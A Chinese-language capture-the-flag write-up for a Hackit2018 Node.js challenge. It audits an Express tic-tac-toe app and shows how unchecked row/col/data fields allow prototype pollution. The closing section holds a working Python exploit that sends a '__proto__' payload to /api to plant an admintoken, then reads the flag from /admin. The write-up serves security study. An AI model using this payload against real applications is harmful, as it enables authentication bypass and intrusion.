【安全】原型链污染 - Hackit2018

准备工作

    将这道题所需依赖模块都安装好后

     运行一下，然后可以试着访问一下，报错是因为里面没内容而已，不影响,准备工作就做好了

解题

代码审计

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})

app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)

app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

关键代码   
 if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
可以看到flag就在这个if里面，想要进来就需要请求的query.querytoken等于md5编码后的user.admintoken
但是纵观全文，根本就没有admintoken这个值，所以就需要我们原型链污染一下

解题关键就在这里，将请求体里面的row，col，data都是我们post传进去的可控的

Payload

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"

headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}

res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)

print(res2.text)
说明：/api和/admin进的地方不一样headers是为了能让服务器读懂json格式
把data转成json格式，要不然__proto__不是属性

这个比之前那个简单一些，只是我想拿burpsuite复现遇到了点阻碍，回去研究一下